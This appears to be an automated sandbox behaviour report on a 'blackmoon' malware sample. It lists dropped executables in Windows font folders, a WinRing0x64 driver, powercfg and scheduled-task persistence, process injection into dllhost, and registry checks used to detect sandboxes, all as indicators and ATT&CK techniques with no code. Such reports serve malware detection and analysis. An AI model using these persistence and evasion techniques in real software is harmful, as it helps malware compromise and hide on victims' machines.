blackmoon | 8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 4 IoCs

pid	Process
1368	sqnlgfm.exe
2572	sqnlgfm.exe
2488	acbzga.exe
4608	gnygcm.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1552	powershell.EXE
1072	powershell.EXE

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2172	cmd.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4988	cmd.exe
1580	powercfg.exe
1228	cmd.exe
3352	cmd.exe
4284	powercfg.exe
4716	cmd.exe
3168	powercfg.exe
2508	cmd.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	sqnlgfm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	sqnlgfm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	sqnlgfm.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\vdcerqaa	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	sqnlgfm.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1552 set thread context of 3960	1552	powershell.EXE	109
PID 1072 set thread context of 3076	1072	powershell.EXE	113

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023cc5-538.dat	upx
behavioral2/memory/4608-540-0x00007FF788130000-0x00007FF78874F000-memory.dmp	upx
behavioral2/memory/4608-575-0x00007FF788130000-0x00007FF78874F000-memory.dmp	upx

Drops file in Windows directory 18 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\$pdemlcouddlopeig.job	acbzga.exe
File opened for modification	\??\c:\windows\fonts\dcjgbeul\config.json	gnygcm.exe
File opened for modification	C:\Windows\ServiceState\EventLog\Data\lastalive0.dat	svchost.exe
File created	\??\c:\windows\fonts\dcjgbeul\WinRing0x64.sys	sqnlgfm.exe
File created	C:\Windows\Tasks\$pdemlcouuggpuexp.job	acbzga.exe
File opened for modification	C:\Windows\Tasks\$pdemlcouuggpuexp.job	acbzga.exe
File opened for modification	C:\Windows\Tasks\$pdemlcouddlopeig.job	acbzga.exe
File created	\??\c:\windows\fonts\xhaubjd\HighPower.pow	sqnlgfm.exe
File created	\??\c:\windows\fonts\xhaubjd\sqnlgfm.exe	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
File opened for modification	\??\c:\windows\fonts\xhaubjd\sqnlgfm.exe	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
File created	\??\c:\windows\fonts\dcjgbeul\config.json	sqnlgfm.exe
File created	\??\c:\windows\fonts\qvcldnjm\xcacbus.exe	sqnlgfm.exe
File created	\??\c:\windows\fonts\xhaubjd\BestPower.pow	sqnlgfm.exe
File opened for modification	C:\Windows\ServiceState\EventLog\Data\lastalive1.dat	svchost.exe
File created	\??\c:\windows\fonts\dcjgbeul\gnygcm.exe	sqnlgfm.exe
File opened for modification	\??\c:\windows\fonts\dcjgbeul\gnygcm.exe	sqnlgfm.exe
File created	\??\c:\windows\ime\lgoavey\ovhzrec.exe	sqnlgfm.exe
File opened for modification	\??\c:\windows\ime\lgoavey\ovhzrec.exe	sqnlgfm.exe

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powercfg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnlgfm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	acbzga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powercfg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnlgfm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2588	cmd.exe
1504	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 21 Oct 2024 00:23:57 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	sqnlgfm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	sqnlgfm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	sqnlgfm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D750C836-6DA6-467B-A44A-33C88B5171B5}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1504	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3968	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
1368	sqnlgfm.exe
1368	sqnlgfm.exe
2572	sqnlgfm.exe
2572	sqnlgfm.exe
2572	sqnlgfm.exe
2572	sqnlgfm.exe
1552	powershell.EXE
1552	powershell.EXE
1072	powershell.EXE
1552	powershell.EXE
3960	dllhost.exe
3960	dllhost.exe
1072	powershell.EXE
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
1072	powershell.EXE
1072	powershell.EXE
1072	powershell.EXE
1072	powershell.EXE
3960	dllhost.exe
3960	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe
3076	dllhost.exe
3076	dllhost.exe
3960	dllhost.exe
3960	dllhost.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
Token: SeDebugPrivilege	1368	sqnlgfm.exe
Token: SeDebugPrivilege	2572	sqnlgfm.exe
Token: SeDebugPrivilege	2572	sqnlgfm.exe
Token: SeDebugPrivilege	1552	powershell.EXE
Token: SeDebugPrivilege	1072	powershell.EXE
Token: SeDebugPrivilege	1552	powershell.EXE
Token: SeDebugPrivilege	3960	dllhost.exe
Token: SeDebugPrivilege	1072	powershell.EXE
Token: SeDebugPrivilege	3076	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAuditPrivilege	2612	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4608	gnygcm.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
1368	sqnlgfm.exe
2572	sqnlgfm.exe
2448	Conhost.exe
3480	Conhost.exe
4616	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 2588	1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe	84
PID 1112 wrote to memory of 2588	1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe	84
PID 1112 wrote to memory of 2588	1112	8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe	84
PID 2588 wrote to memory of 1504	2588	cmd.exe	86
PID 2588 wrote to memory of 1504	2588	cmd.exe	86
PID 2588 wrote to memory of 1504	2588	cmd.exe	86
PID 2588 wrote to memory of 1368	2588	cmd.exe	95
PID 2588 wrote to memory of 1368	2588	cmd.exe	95
PID 2588 wrote to memory of 1368	2588	cmd.exe	95
PID 2572 wrote to memory of 2488	2572	sqnlgfm.exe	104
PID 2572 wrote to memory of 2488	2572	sqnlgfm.exe	104
